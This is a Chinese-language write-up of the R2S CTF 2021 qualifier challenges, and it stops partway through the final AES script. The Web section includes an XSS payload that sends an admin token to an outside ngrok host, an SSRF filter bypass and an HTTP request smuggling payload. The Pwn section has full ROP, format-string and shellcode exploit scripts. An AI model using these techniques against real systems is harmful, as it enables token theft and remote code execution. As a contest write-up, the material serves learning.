R2S CTF 2021 Qualifier WriteUps

這次和 AIS3 EOF 時的隊友們以 Unofficial 參加了 R2S CTF,最後得到了第一名。整體來說我覺得這個 CTF 都算是比較簡單的,不過有些題目也需要足夠了靈力去通出來才行。除了 Stego 和 Forensics 兩類的題目我全部都有解掉,也代表了我在這部分真的蠻弱的。

Welcome

Welcome 的 flag 是放在 Discord channel 用 spoiler 給隱藏起來了,而且因為是每個字元都分別標了 spoiler 所以只能一個一個打開看到 flag。這邊我取得首殺的方法是用 Discord 的 Devtool 直接去把 element 的 textContent 抓出來,效率比較高。後來也有發現一些比較快的其他作法例如用手機 app 長按直接複製,或是點開第一個和最後一個字元,然後選取整段之後 Ctrl-C 也可以。

Web

Chatroom

有個用 aaencode 的 js,直接在 devtool 裡面執行就有 flag 了。

Psychic

網頁上有張端火鍋的圖片,不過如果試著把網頁的連結用其他通訊軟體發,可能會在縮圖看到 flag,根據 flag 內容可以知道似乎是與 libpng 的 rendering 問題有關,在不同軟體中顯示出來的畫面不太一樣。

I'm The Map

可以上傳一個地圖的 KML 檔,它會幫你計算兩點的最遠距離。從 API response 可以看到裡面會放地名,所以把 KML 的地名部分用 XXE 去 reference /flag.txt 之後看 API response 就有 flag 了。

Local Media Server 1/2

有個顯然能 SSRF 的地方,不過直接的 http://localhost 或是 http://127.0.0.1 都會被擋,看一下 header 能發現有 X-Rejected-By: netmask。去查一下可以看到 SSRF vulnerability in NPM package Netmask impacts up to 279k projects,知道它可能有個能用八進位 ipv4 繞過的可能性,測試之後也可以成功:

1
http://media.web.quals.r2s.tw:10692/get?url=http://0177.0000.0000.0001/play.html

不過 127.1 這種也被說是外部 ip 真的有點 87,作者還說是他手動擋的==

之後會 redirect 到一個頁面看到端火鍋的影片,從 m3u8 中能找到 flag 2,而 flag 1 是藏在某個 resolution 的影片之中,一個一個對影片去 strings 就能看到 flag 了。

只是到底有誰會閒閒沒事對影片去 strings==

Working Status

首先要在 html 中看到有個 /source 可以看到 backend 的 source code。需要有個 jwt signed 的 {"status": "flag", "user": "admin"} 才能拿到 flag。

而頁面上經過簡單測試可以發現有簡單到不行的 XSS,所以目標就是用 xss 以 admin 的身分去 sign,然後把結果傳回來就能自己去看 flag 了。

為了方便,我把 xss 的腳本部分放在自己的 server 上比較好修改,然後 xss 的內容就直接讓它去載入 script 即可。

1
<img src=1 onerror="s=document.createElement('script');s.src='https://3ccdbb63ba3b.ngrok.io/xss.js';document.body.appendChild(s)">
1
2
3
4
5
6
7
8
function log(x){
fetch('https://3ccdbb63ba3b.ngrok.io/report=' + encodeURIComponent(x))
}
log('loaded')
const s = document.createElement('script')
s.src = '/sign?status=flag&callback=signed'
document.body.appendChild(s)
window.signed = log

之後把頁面給 xss bot 之後就能收到能看到 flag 的 token 了。

Calculator 0x1

這題可以 submit 長度上限 54 且都由 .`+|a-z 字元所組成的 js,server 會用 vm2 幫你 eval,結果是要回傳數字 1069 並且要 call sec.disable() 函數才行。

call 函數的部分用 sec.disable`` 很容易可以達成,數字的部分主要是利用 length 以及 "123"|"" 的結果是數字 123 的特點。

所以目標就是湊出字串 0x42d,然後和空字串去做 or 運算即可。因為 sec.disable() 會回傳空字串所以也能節省字元。

1
+sec.disable``+`x`+`aaaa`.length+`aa`.length+`d`|``

Simple Book Searcher

一個書的搜尋引擎,試著發送 ' 字元可以在 response 直接看到 sql error,還能知道是 MySQL。所以參考 MYSQL Injection 去用 union select 去取得 database, table, columns 等的資訊撈回來就能知道 flag 在哪,然後也能得到 flag。

這題很少人解我是真的沒想到的,因為只是非常基本的 sql injection 而已

Smart IoT

目標是一個 node 14.15.3 + express 的 server,跑在 haproxy 1.5.3 之後,flag 內容放在 /info 這個 endpoint 的 response 之中。只是 haproxy 用了這邊的設定把該 route 給擋住了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
global
daemon
maxconn 576

defaults
mode http
timeout connect 1000ms
timeout client 10000ms
timeout server 10000ms

frontend http-in
bind *:80
default_backend back
acl x path_beg -i /info
http-request deny if x

backend back
server server1 127.0.0.1:8080 maxconn 128

去查了一下版本可以看到 CVE-2020-8287,知道這個組合能用 TE-TE 去 request smuggling 繞過 haproxy 的 ACL。經過測試,下面的 payload 確實能讓 node 的部份收到 GET /info 的 request,不過 response 卻會直接被斷掉,沒辦法看到 flag 的 response。

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Transfer-Encoding: chunked
Transfer-Encoding: invalid_value

0

GET /info HTTP/1.1


題目後來的 hint 有說可以去研究 haproxy 和 nginx 預設處裡 websocket 的不同點,能發現到多加上一個 Connection: Upgrade 就能很神奇的得到 response 了,不過如果再多一個 Upgrade: websocket 又會失敗,這我不知道是什麼緣故。

不過能得到 response 的部份我有去查一下,可以在 haproxy 1.5.3 的 changelog 裡面看到這麼一句話:

1
MEDIUM: http: refrain from sending "Connection: close" when Upgrade is present

完整的成功 payload (CRLF):

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Transfer-Encoding: chunked
Transfer-Encoding:
Connection: Upgrade

0

GET /info HTTP/1.1


Pwnable

Buffer Builder

可以直接 buffer overflow,目標要偽造出一個 struct 通過檢測就能得到 flag 了。我這邊是用 gdb 結合 cyclic 指令(pwntools 隨附的)去算 offset,然後塞入指定的資料即可。

base64 encoded 的 input:

1
YlVpTGRFXzdoM19CdWZmM3IheHjvvq3eNxM3EzMzMzNCRYZkCg==

Echo Heap

題目有三個在 heap 上面的 buffer,一個是 format string 的內容,一個是可以供使用者輸入的 buffer,一個是額外的字元。它會反覆用同個 format string 去 scanf + printf,沒有擋 buffer overflow。

用 C 表示如下:

1
2
3
4
5
6
7
8
9
10
char *buf = malloc(0x64);
char *fmtstr = malloc(0x64);
char *c = malloc(0x4);
int result = 0;
strcpy(fmtstr, "echo!\nheap\n%s%c");
do {
result = scanf(fmtstr, buf, c);
printf(fmtstr, buf, 10);
}
while (result > 0);

因為 buf 是在 fmtstr 前面得到的,利用 buf 的 overflow 可以修改到 fmtstr 的值,所以可以繼續利用 format string exploit。

這題有個比較麻煩的地方是它的 scanfprintf 都用同個 format string,因為會檢查 scanf 的 return value 所以還需要按照它的格式進行輸入才行。

首先是要 leak libc 的位置,這個可以用 %13$p 找到,leak 之後要想辦法控制 rip 才行。用 gdb 可以發現到 %10$s 所指的位置正好是 rbp 的位置,所以可以用 %10$s 去寫入 rop chain。

組合起來的流程就是先用 format string printf("x%10$s-%13$p-") 得到 libc address,然後 scanf("x%10$s-%13$p-") 就能寫入 rop chain,只要讓它不符合 format 就能離開 loop 然後 return 到 rop chain 上面了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

libc = ELF("./libc.so.6") # from docker

# io = process("./echo-heap")
io = remote("echo.pwn.quals.r2s.tw", 10101)

io.sendline(b"echo!\nheap!\n" + b"a" * 112 + b"x%10$s-%13$p-")
io.recvuntil(b"-")
addr = int(io.recvuntilS("-")[:-1], 16)
print(hex(addr))
libc_base = addr - 0x0270B3
print("libc base", hex(libc_base))

binsh = libc_base + next(libc.search(b"/bin/sh\0"))
pop_rdi = libc_base + 0x26B72
pop_rsi = libc_base + 0x27529
pop_rdx_rbx = libc_base + 0x162866
execve = libc_base + libc.sym["execve"]

rop = flat([pop_rdi, binsh, pop_rsi, 0, execve])


io.sendline(b"x" + p64(0) + rop)
io.interactive()

Guess Dice 🎲

題目一開始會用 gettimeofday 得到時間資訊,然後把 tv_sectv_usec 的 low 16 bits xor 之後用 srandom 設 seed,之後用 system("date") 告訴你 server 的時間。主程式的地方會有些關於 rand() 的東西需要用到,所以必須要能預測隨機數。

顯然這邊是可以用時間資訊去恢復 seed,不過 date 指令給你的時間資訊並不是很詳細,沒辦法得到 us 級別的時間精度,不過這部分可以簡單的暴力找即可。

find_usec.c:

這個程式從 argv 中得到 sec,以及第 7~12 個 rand() 的輸出,然後可以很快的暴力找出 usec 的值。

編譯指令: gcc find_usec.c -o ./find_usec -Ofast

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <sys/time.h>

int main(int argc, char **argv)
{
if (argc < 2 + 6)
{
return 1;
}
int ar[6];
for (int i = 2; i < 2 + 6; i++)
{
ar[i - 2] = atol(argv[i]);
}
int sec = atol(argv[1]);
for (int usec = 0; usec <= 0xffffffff; usec++)
{
srandom(sec ^ usec);
for (int i = 0; i < 6; i++)
{
rand();
}
int i = 0;
for (; i < 6; i++)
{
if (rand() != ar[i])
break;
}
if (i >= 6)
{
printf("%d", usec);
break;
}
}
return 0;
}

rand.c:

接受三個參數 sec usecn,生成以 srandom(sec ^ usec) 之後跳過 12 個數字之後的 n 個 output,方便之後寫在 python 的 script 呼叫。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <sys/time.h>

int main(int argc, char **argv)
{
if (argc < 4)
{
return 1;
}
int sec = atol(argv[1]);
int usec = atol(argv[2]);
int n = atol(argv[3]);
srandom(sec ^ usec);
for (int i = 0; i < 12; i++)
{
rand();
}
for (int i = 0; i < n; i++)
{
printf("%d\n", rand());
}
return 0;
}

主程式的一開始會先骰 6 個骰子 rand() % 6,然後進到一個 100 次的 loop 中讓你去讀取/修改或是預測骰子的值。read 的時候可以指定 index,沒有做額外檢查,所以可以任意 leak 東西。write 的時候也可以指定 index 和一個 val,會寫入 dice[idx] 的地方寫入 val ^ rand()。預測的時候要預測 6 個骰子的值,它會比較 input ^ rand() == dice[i],全部都要正確才能離開 loop 然後 return,如果是次數到達上限才離開 loop 的話會直接 exit(-1),不能 return。

流程就先 write index = 0~5,val 都用 0,之後再 read 六次之後就能得到 6 個 rand() 的 output。之後呼叫 find_usecrand 就能得到之後未來的所有 rand() output 了,這樣預測骰子的值就很簡單了。

要控制 rip 的話可以利用 index 越界寫入,因為 dice 在 stack 上面,所以越界寫入能寫入到 ret 的地方,透過知道 rand() 的值就能精確的寫入 rop chain 了。

此題是 static binary, no pie,所以很容易 rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from dateutil import parser
from subprocess import check_output

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"


def read(idx):
io.sendlineafter(b"> ", "0")
io.sendlineafter(b"Dice number want to read> ", str(idx))
io.recvuntil(b" is ")
return int(io.recvlineS().strip())


def write(idx, val):
io.sendlineafter(b"> ", "1")
io.sendlineafter(b"Dice number want to change> ", str(idx))
io.sendlineafter(b"Value with hash> ", str(val))


# io = process("./dist/home/guess-dice")
io = remote("dice.pwn.quals.r2s.tw", 10103)
io.recvuntil(b"Server Time: ")
timestr = io.recvlineS().strip()
sec = int(parser.parse(timestr).timestamp())
for i in range(6):
write(i, 0)
nums = [read(i) for i in range(6)]
args = str(sec) + " " + " ".join(map(str, nums))
usec = int(check_output(["./find_usec", str(sec), *map(str, nums)]))
print(sec, usec)

nums = [
int(x)
for x in check_output(["./rand", str(sec), str(usec), "300"]).split(b"\n")
if x
]


def rand():
global nums
ret = nums[0]
nums = nums[1:]
return ret


def do_predict():
dices = []
for i in range(6):
write(i, 0)
dices.append(read(i))
print(dices[-1], rand())
io.sendlineafter(b"> ", "2")
for i in range(6):
io.sendlineafter(b"Dice Value with hash> ", str(rand() ^ dices[i]))
io.interactive()


pop_rdi = 0x4018EA
pop_rsi = 0x40F71E
pop_rdx = 0x4017EF
pop_rax = 0x45B857
syscall = 0x4012E3
binsh = 0x4B69EB


def write_qword(idx, val):
write(idx, rand() ^ val) # lower dword
write(idx + 1, rand() ^ (val >> 32)) # upper dword


write_qword(14, pop_rdi)
write_qword(16, binsh)
write_qword(18, pop_rsi)
write_qword(20, 0)
write_qword(22, pop_rdx)
write_qword(24, 0)
write_qword(26, pop_rax)
write_qword(28, 59)
write_qword(30, syscall)
do_predict()

Email Sender

這題核心的部份大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct Mail {
char email[64];
char subject[64];
char *content;
void (*sendMail)(struct Mail*);
} mail;
// do something ...
init(&mail); // initialize sendMail
printf("Email:");
gets(mail.email);
printf("Subject:");
gets(mail.subject);
mail.content = mmap(mail.content, 0x1000, 7, 34, -1, 0);
gets(mail.content);
// print mail
mail.sendMail(&mail);

可以知道能 buffer overflow 把 content 以及 sendMail 的部份蓋掉,所以可以控制 rip。不過問題在於要把 rip 控制到什麼地方,因為這題並沒有 leak address 的地方,還有 PIE 所以也都不知道 address 在哪。

此題關鍵在於 mmap 的 address 如果是 0 就會隨便分配一塊區塊,否則會找一個最近的 page boundary 分配出來。所以可以先控制好 content 的值到一個 page boundary 上面,然後用 gdb 去檢視那個位置然後 copy 下來即可。再來因為 mmap 的 block 是 RWX,所以在上面寫 shellcode,然後再控制 sendMail 到 shellcode 上面即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

addr = 0x00007FFE0F0DC000

# io = process("./dist/home/email-sender")
io = remote("email.pwn.quals.r2s.tw", 10102)
io.sendlineafter(b"Email: ", "asd")
io.sendlineafter(
b"Subject: ",
cyclic(0x60) + p64(addr) + p64(addr),
)
io.sendlineafter(b"Content: ", asm(shellcraft.cat("/flag")))
io.sendlineafter(b"correct?", "y")
io.interactive()

PS: 此題有 seccomp,所以不能拿 shell

File Manager v0.0.1

這題可以讓你隨便 open 一些 file,裡面還有個很容易觸發的 backdoor 直接幫你執行 /bin/sh。binary 還是有 suid,一開始的 gid 是 3333 的,只是在執行前會先 setgid 到 1000,而且在 /home/file_manager/flag 的 flag 只有 root 和 gid 3333 的人才能讀取,所以直接 get shell 的時候沒辦法 cat /home/file_manager/flag

題目的關鍵是先利用 gid 還是 3333 的時候先 open("/home/file_manager/flag", 0),然後 fd 3 就會是那個 file 的 file descriptor。

我一開始一直 cat /proc/self/fd/3 得到 permission deined 的錯誤,後來才知道是因為 cat 會用 openat 的 syscall 所以沒辦法這樣做。不過賽中我一直卡在那個地方,後來隊友發現可以自己 upload 一個 binary 上去去 read(3, buf, 1000) 才解掉的,後來賽後才知道可以直接用 cat <&3 從 fd 3 讀取資料。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import remote
from base64 import b64encode

with open("./read.tgz", "rb") as f:
bin = f.read()

print(len(bin))

io = remote("file.pwn.quals.r2s.tw", 34567)
for _ in range(8):
io.sendlineafter(b"> ", "2")
io.sendlineafter(b"File ID > ", "0")
io.sendlineafter(b"> ", "1")
io.sendlineafter(b"File Name > ", "/home/file_manager/flag")
io.sendlineafter(b"> ", "333")
io.recvuntil(b"Welcome Admin!\n")
io.sendline(b"bash")
# Upload a precompiled binary
# io.sendline(b"rm /tmp/read.tgz")
# for i in range(0, len(bin), 10000):
# io.sendline(
# b"echo " + b64encode(bin[i : i + 10000]) + b" | base64 -d >> /tmp/read.tgz"
# )
# io.sendline(b"cd /tmp")
# io.sendline(b"rm read")
# io.sendline(b"tar xzf read.tgz")
# io.sendline(b"chmod +x read")
# io.sendline(b"echo done")
io.interactive()

Stego

Barcode in Image

隊友解的,我不會==

Music Xor

我不會通靈這題,最後也沒解掉這題。

Corrupted Media

這題也是到最後都解不掉的題目,不過解不掉的原因是我被 ffmpeg 坑了。

題目給了一個損壞的 mp4,然後 hint 有說原本的檔案格式是 hevc,去查一下可以知道能用 untrunc 去復原。untrunc 需要一個格式差不多且可正常播放的檔案才能復原壞掉的 mp4,所以我就有下載端火鍋的影片然後用 ffmpeg 重新用 hevc encode,之後也能用 untrunc 修復成功,不過播放的時候只有聲音正常,畫面完全是損毀的。

賽後才知道我這個做法是正確的,其他人也有人用一樣的做法成功,後來才發現是 Debian 的 ffmpeg version 4.3.2-0+deb11u2 hevc encode 之後的影片怪怪的,結合 untrunc 修復出來的結果都沒辦法用,換個版本重新做一次就成功了...。

Reverse

What is this!?

一樣是 aaencode 的 js,把最後的一組括號去掉再執行就能看到 js function,toString 後就能 reverse 然後看到 flag 了。

pAtCh_mAn

這題沒有輸入,裡面會直接做一些檢查然後看情況 print flag,我這邊直接用 gdb 進去下斷點,然後在適當的地方修改 memory 之後就能通過檢查,然後看到 flag。

此題還有個 bonus,可以在另一個函數看到一個 hex encoded 的字串,解完之後可以發現是個 substitution cipher,用 quipquip 和作者名稱等等的資訊可以解出來,最後會得到一個在 CloudFlare Workers 上面的 goindex,裡面有放一個 お願い!コンコンお稲荷さま 的 flac。

Jumping_master

有個 DOS 的 16-bit 程式,在 IDA 裡面能看到它有個地方會直接 exit,所以先把那部分 patch 成 NOP 之後再執行一次會看到 3 個 YT 影片網址,不過都和 flag 無關。再看一下會發現有個 call si 的東西怪怪的,把它也 NOP 掉之後再執行就有 Thanks for playing,然後同個目錄下就會出現 FLAG 檔案,裡面就是 flag 內容了。

Misc

Time Traveler

可以發現它的時間越往未來輸入,就會越往前,隨便算一下可以知道輸入 2071-01-01 就能得到 1937 年並看到 flag 了。

Kon!Kon!Kon!

直接 nc 看不到什麼特別的,不過 pipe 到 xxd 之後會發現有用 CR 把額外的資訊給藏起來了,之後輸入 Kon?!OuO 進到 terminal,執行 ./read_flag 解它的一個加法就能看到 flag 了。

1
2
3
4
5
6
7
8
9
10
from pwn import remote


io = remote("konkonkon.misc.quals.r2s.tw", 3333)
io.sendline("Kon?!OuO")
io.sendlineafter("Terminal", "./read_flag")
io.recvuntil(b'Kon!!\n')
ans = eval(io.recvlineS().split('=')[0])
io.sendline(str(ans))
io.interactive()

Weird Picture

用 zsteg 可以在圖片後面發現有個 powershell 的腳本,修改一下它之後它可以從圖片中 extract 出更多的 powershell。簡單理解一下之後可以知道是 flag checker,比較方法是把每個字元 md5 之後和一個 md5 list 比較而已,所以一個一個暴力逆回去之後就能知道 flag 了。

Fat7z

一個反覆 encode 過的 flag,直接 dfs 暴力解回去而已。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from base64 import *
import gzip
import sys

with open('data', 'rb') as f:
data = f.read()

def dfs(data, deep=0):
print(deep)
if data.startswith(b"R2S"):
print(data)
sys.exit(1)
if deep == 350:
return
ddata = gzip.decompress(data)
try:
dfs(b32decode(ddata), deep+1)
except:
pass
try:
dfs(b64decode(ddata), deep+1)
except:
pass
try:
dfs(b85decode(ddata), deep+1)
except:
pass

dfs(b85decode(data), 0)

How Regular is This

一個 regex crossword,直接手動解掉即可,大概 20 分鐘就能完成。

1
2
3
4
5
6
7
8
9
10
R2S{R3GE
X_IS_FUN
,_R19H7?
_I7_C4N_
FETCH_AN
YTH1NG_U
_WAN7_FR
0M_UR_L0
G5_AND_W
EBP4GE5}

IP Over Telegram

題目給了一個利用 Teletun - IP over Telegram 進行通訊的紀錄,該專案是把利用 TUN 把 traffic 用 base64 encode 之後在 telegram 上面 tunnel 而已。

經過觀察可以發現把每個 packet 的前 56 bytes 丟掉之後就能得到真正需要的內容,我認為那應該是 TCP header 吧,大概...。

所以之後就自己寫個 decode 腳本把裡面的 http 檔案都匯出,之後把分段的 7z 檔案解開就能看到 flag 的圖片了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from base64 import b64decode
from hashlib import md5

with open("messages") as f:
fname = []
for line in f:
try:
data = b64decode(line)[56:]
if b"GET /" in data:
fname.append(data.split(b" ")[1].decode()[1:])
print(fname)
if len(data) == 100:
print(fname[0], md5(data).hexdigest())
with open(fname[0], "wb") as f:
f.write(data)
fname = fname[1:]
if fname[0] == "owo.7z.014" and len(data) == 8:
print(fname[0], md5(data).hexdigest())
with open(fname[0], "wb") as f:
f.write(data)
fname = fname[1:]
except Exception as ex:
# print(ex)
pass

Crypto

Base1024

搜尋題目名稱可以找到 Ecoji.co,直接用那個網站 decode 即可。

BiGGG_RSA

生成 n 的 code 如下:

1
2
3
4
5
6
7
n = 1
tmp = getPrime(50)

for i in range(7):
print(i)
n *= tmp
tmp = next_prime(n)

所以知道 n 每次乘的時候大小都差不多,所以可以反覆利用 fermat 去分解,之後 decrypt 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import gmpy2
from Crypto.Util.number import *
from operator import mul
from functools import reduce

c = 43287572946133999679003735040387344127911611182808205416405340436402711791124904716956050215222149432404252982726093612310126853684044893133451080784922546867979305887527341522615891700842739784180798728162964536615110423273474573061375674575358516473194933233191614744557561571795234577569077605774440206671520694303064935378346965018255912344270318742324474073059659921239910378094711647856605360702133049986762428263614930247138733753169574250495738488144028395839583656222122838757806660956187829512998478544218493357681032722607971901002335911130687294364258838947818958702569582383274402930779878227555773798951104426309593822135727192814371302526960446331418055089056102121184008054507818173882740756768936506059156708316636852167412757511278933158635111355493760449900904638488978129072614518270375585858253473053449079165988636670446524141040388634289982864136445828197998940591994740072330066449402397902067067938402816758285008347470945818785037071222
e = 65537
n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627


def fermat(x, mx=1000):
a = gmpy2.isqrt(x)
b2 = a * a - x
cnt = 0
while not gmpy2.is_square(b2):
a += 1
cnt += 1
if cnt == mx:
return
b2 = a * a - x
b = gmpy2.isqrt(b2)
return a + b, a - b


def factor(n):
p, q = fermat(n)
fac = []
if not isPrime(p):
fac += factor(p)
else:
fac += [p]
if not isPrime(q):
fac += factor(q)
else:
fac += [q]
return fac


fac = factor(n)
assert reduce(mul, fac) == n
phi = reduce(mul, (x - 1 for x in fac))
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c, d, n)
print(long_to_bytes(m))

Seeeeed

這題的預期解法是暴力用時間往回推找 random seed,然後就能分解那些 RSA 的 n 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# fmt: off
ns = [260634525524533903012690050767761847060552114922740001388159725787723716406020999293635211220503083237, 208095678966688821844479773849088950638944633557616238151123335222899046286902783, 257979573430413729952126829110820754255590168827983489589181784816491809972695059, 27243853461323387808300873515072056902530035743581988124468140982020916628636339101, 274294960917112555155918743231115476048475321832747350566866116355816894882516483, 291153654572421277161272319821881945338417542318103307006007431811050578618319633, 1264614018826395575718768267659554806208758592967928546141376334987200797765109201, 215356595628359003442692204466385178410717803540992865178965327846944469985078717, 275798075765296633158782154395021668434841804868451919714742518641677209524386239, 203959691383036080416056049068597820621920194509335375338001584394846436848778573, 172318838323449236035296154148872274753763285156663504522766377433747381712046437, 2551733082240613507692268659153484068913424701145121919418041466166347388772109929, 177817867186884785941829869444106898938776952217040896942441467249110603000565527, 13699344913073626306878374150277151744545010780157931205343770628112921943767720673, 274603578897156037730538510879106960475281610547931476478488792542562967969758169, 1021688707360268777351035532335218613477164972796776067732317113426196466189058857, 11303711116746364836230503067790137605917877750394683941432835864580851232762670437, 243495874435731571155030324017802176115338017548563228509041073628055194125290167, 4210086242379040026181928282787339610454119020281654630754512506326442565509313353, 279098144908475422995174461690215596619979080957432236763400286359406022381502899, 1142276742953704568977370705422406376114491107782617817012681417749795459206323997, 1234223605952796613308102981831034107115216741547398609057839879247554476528064163, 1115297868611802649319686724893372541528724052860522151900018161307989512692927891, 771909112654534347958718785103330152314820235006730551077142224822695902658667399, 250000775556680592196031987059288134052847572497760134202853927382497548012063151, 170063094937389940579068822372209592974481256340198322480780057577365688733737243, 153432640836172777814508025444093964756390707854295282127485450154828573764281989, 350521775997315362036095345582136781928565124549941218378580615630801586334289953, 328086570801403898875073311230391353258645659329103798885061005491842872808666233, 309698664948004135943390545911374267184936986335013424421317454742291838144931691, 17753951678760831078080973140471615230943167318953679469750484716451406113414158311, 380839925470311031055697009339283650201049325890416481845377602075223796687235643, 18286702214336038429541856832563948834041300267917021102336407067688654506630341827, 60359977403251459016771406971274965445963819939677459162816875699358612290156163483, 278747472153129524796215056208523381106123959436640229493158520782297847569496123, 3835257278211128259058432605573722550260251822254869366378362839711692867831987743, 8772911744802850733380926186876743272025561945864055191902568438648421247866060528011]
cs = [168324827824206027757963652608328154751150612172746909995666631233062936087781039335378554527748186697, 130617575815982628554636126172184393182042976671872563630075153822805242079268380, 102809175525572947369404325465067957368528820323716896932293392441207897241162106, 26510445477009605745725613637211176100090811064820601782341981709429706877186511884, 265447636845150591433878737556659417237035086612618675351208502604167306736559048, 24319737652721169825528803678105943693722065855067626375626421576009657837968691, 903349808383738532864672035305340485438724224938442183989776291470107772503368448, 25102606021422924705896453615502010127342602023957589138728530721032348624846905, 53973589983836253173577401704499774942292805499835176323917577336233307808046032, 139362107334098998953108826961665620893893707993106446002007437263380823913671715, 22393501700438832858853797921488776680986297064233536837770621972716803189749943, 2548574030243119028744139573507485556898153200655055113765034188330694195031459906, 52489394155645831764544707933361030981677908207259488105445148989800468433752897, 6250019693861336237390098776797359530471988801874695977726521776798120303443963879, 66512533155280045074503459588144597554965640207915686826940254082577850705466247, 491849516573421165425636440914444494059244603886473708847218553532410313512844419, 1176813002097324842964847401366126169231600430855511881901506489852185032618265570, 188422590589899047195259429088196391250066043167218733709175935641538384543823714, 2074255496576202379288582635657157635141681692751584998679422766083321184449743137, 76607218350654225967358181385063684974503838071840477210881977349853066122015584, 268269262358948400352414043377630243497423983157487241891838775312266965658187624, 188472314699881909737963062508226914748343519892578653567454774777763623787635414, 897161360553250913742509185428871487269534315677820253500436092967096983223590841, 359086933207289842171751612803773923497313773002461379560697925340906969631580148, 191337336238218979797727216988524937980116332283935111076884824781075217022129682, 53366153717987266046331918568520810526003388892521788994147885483696076039901087, 115261829190735685298108304481910868538184390322784339988275136090107409092318229, 221205179330812112863350554831136698682517777762201913306141470683838942400740430, 224161320349442835161020066533633200106514001862983237572820066571727747297818919, 109864940977223157354897007217633842419798366128833448222905811325507349629348861, 2955514070204944644143519717315850247262021426864569588832071663945292583405011073, 205640591252875284012121950003466015621718524224073430055156076235706136617600293, 2912769900155402319312331305500539113469985250702347761152562348415328406828346453, 53277041267060499328150331178272978283908033800055762551754407395149317153237389783, 18103453177057839546488042481723259026905868382704927873137182443880686317623884, 1319726331778501297956354956533726004358324384142102624097090385168102573652232168, 5662029275219406340853890855725203744874150490741210699817647640149564730621919633080]
e = 65537
# fmt: on


from random import *
from Crypto.Util.number import bytes_to_long
from gmpy2 import next_prime

e = 0x10001
N = 1083431725045970484586186177942248908050424478782004838696639


def seeed(t, tmp):
if t == 0:
return tmp

tmp = randint(1e10, 1e20)
seed(tmp)

return seeed(t - 1, tmp)


t = 1624788700
seed(t)
ps = [int(next_prime(N // seeed(i, t - i))) for i in range(len(ns))]
qs = [n // p for n, p in zip(ns, ps)]
phis = [(p - 1) * (q - 1) for p, q in zip(ps, qs)]
ds = [pow(e, -1, phi) for phi in phis]
ms = [pow(c, d, n) for c, d, n in zip(cs, ds, ns)]
print(ms)
print(bytes(ms)[::-1])

這題還有個比較簡單的解法是可以注意到 ,所以暴力找也可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# fmt: off
ns = # ...
cs = # ...
e = 65537
# fmt: on

import gmpy2


def brute(n, e, c):
for x in range(256):
if gmpy2.powmod(x, e, n) == c:
return x


print(bytes([brute(n, e, c) for n, c in zip(ns, cs)])[::-1])

2-AES

這題需要暴力找 AES key,正常的 search space 是 ,不過因為它有提供一組已知的 plaintext 和 ciphertext,所以用 meet in the middle attack 可以壓到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from tqdm import tqdm
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from itertools import product

notflag = bytes.fromhex("5232537b316d5f6e30375f666c34367d")
notflagC = bytes.fromhex(
"506bc537abd10ffebe9c2f007ee4e1f60642c5aaf12d71c1a9983a562560111b"
)
flagC = bytes.fromhex(
"ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5"
)

padded = pad(notflag, 16)

kpre = b"make_it_easy_"

table = {}

for a in tqdm(product(range(256), repeat=3), total=256 ** 3, desc="first"):
k1 = kpre + bytes(a)
ct = AES.new(k1, mode=AES.MODE_ECB).decrypt(notflagC)
table[ct] = k1

for a in tqdm(product(range(256), repeat=3), total=256 ** 3, desc="second"):
k2 = kpre + bytes(a)
ct = AES.new(k2, mode=AES.MODE_ECB).encrypt(padded)
if ct in table:
k1 = table[ct]
print(k1, k2)
flag = unpad(
